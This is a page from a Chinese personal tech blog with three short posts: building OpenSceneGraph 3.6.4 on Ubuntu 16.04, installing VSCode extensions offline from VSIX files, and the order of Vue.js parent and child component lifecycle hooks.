OpenSceneGraph是一个开源高性能3D图形工具包,应用程序开发人员在视觉模拟,游戏,虚拟现实,科学可视化和建模等领域使用。 它完全使用标准C ++和OpenGL编写,可在所有Windows平台,OSX,GNU / Linux,IRIX,Solaris,HP-Ux,AIX和FreeBSD操作系统上运行。 OpenSceneGraph现已成为世界领先的场景图技术,广泛应用于视觉,空间,科学,石油天然气,游戏和虚拟现实行业。本文主要记录在Ubuntu 16.04下编译安装OpenSceneGraph的过程。

下载OSG源代码

1
2
3
# cd ~/software
# git clone https://github.com/openscenegraph/OpenSceneGraph.git
# git checkout OpenSceneGraph-3.6.4

下载安装依赖

安装OSG编译所需依赖

1
# sudo apt-get build-dep openscenegraph

下载OSG数据资源

1
2
3
# cd ~/software
# wget http://www.openscenegraph.org/downloads/stable_releases/OpenSceneGraph-3.4.0/data/OpenSceneGraph-Data-3.4.0.zip
# unzip OpenSceneGraph-Data-3.4.0.zip

编译安装

1
2
3
4
5
# cd ~/software/openscenegraph
# cmake .
# make
# sudo make install
# sudo ldconfig -v //如找不到相关osg库,可运行该命令

运行示例

编辑.bashrc文件,添加如下环境变量:

1
2
3
export PATH=${PATH}:/home/myaccount/software/OpenSceneGraph/bin
export LD_LIBRARY_PATH=${LD_LIBRARY_PATH}:/home/myaccount/software/OpenSceneGraph/lib
export OSG_FILE_PATH=/home/myaccount/software/OpenSceneGraph-Data:/home/myaccount/OpenSceneGraph-Data/Images

使用如下命令运行示例:

1
sh ./runexamples.bat

参考链接

  1. Getting Started,by OpenSceneGraph.
  2. ubuntu 环境 安装OSG,by qing101hua.
  3. OSG Data Resources,by OpenSceneGraph.

VSCode离线安装插件

发表于 2019-09-07 | 更新于 2023-08-18

Visual Studio Code(简称VS Code)是一个由微软开发,同时支持Windows 、 Linux和macOS等操作系统且开放源代码的代码编辑器。与Sublime相比,VSCode开源,且有强大的社区支持,各种插件层出不穷。因为工作原因,需要在离线情况下使用VSCode。为了增强VSCode的功能,需要离线情况下安装其插件。具体方法如下:

下载VSCode插件

从VSCode的官方市场Extensions for the Visual Studio family of products搜索和下载插件。官方市场下载VSCode插件可能会下载失败,可以跑到插件的github代码库,下载其最新发布版。

下载VSCode插件

图1 下载VSCode插件

离线安装VSCode插件

打开VSCode的软件,选择左侧Extension,点击“…”,选择“从VSIX安装”,选择离线下载的VSCode插件进行安装。

离线安装VSCode插件

图2 离线安装VSCode插件

下载旧版本VSCode插件

新版本VSCode插件对VSCode的版本要求也高,会导致新版本VSCode插件无法在旧版本VSCode中无法安装的问题。因此,需要下载旧版本VSCode插件,但是官网上只能下载最新的VSCode插件,因此需要一种方法来解决改问题。具体方法请参考vscode下载之前版本插件,本质上就是修改VSCode插件下载链接中的版本号参数。

参考链接

  1. Visual Studio Code,by wikipedia.
  2. Extensions for the Visual Studio family of products,by vscode.
  3. GitHub最热!码代码不得不知的所有定律法则,by Dave Kerr.
  4. vscode下载之前版本插件,by itas109.

Vue-js父子组件渲染过程简介

发表于 2019-09-03 | 更新于 2022-08-21

Vuejs组件化开发是前端工程化的一个重要里程碑。在实际开发过程中,子组件渲染得不到理想的视觉效果。导致这一问题的原因埋藏在Vuejs父子组件的渲染过程。因此简单介绍Vuejs父子组件的渲染过程。

加载渲染过程

父beforeCreate->父created->父beforeMount->子beforeCreate->子created->子beforeMount->子mounted->父mounted

子组件更新过程

父beforeUpdate->子beforeUpdate->子updated->父updated

父组件更新过程

父beforeUpdate->父updated

销毁过程

父beforeDestroy->子beforeDestroy->子destroyed->父destroyed

参考链接

  1. vue父子组件的渲染顺序, by rosenWang.
  2. Vue-js入门简介,by jackhuang.
  3. inheritAttrs、vm.$listeners 、vm.$attrs 详解,by 简单tao的简单.
上一页1…343536…53下一页

Jack Huang

521 日志
67 标签
© 2025 Jack Huang
由 Hexo 强力驱动
|
主题 — NexT.Muse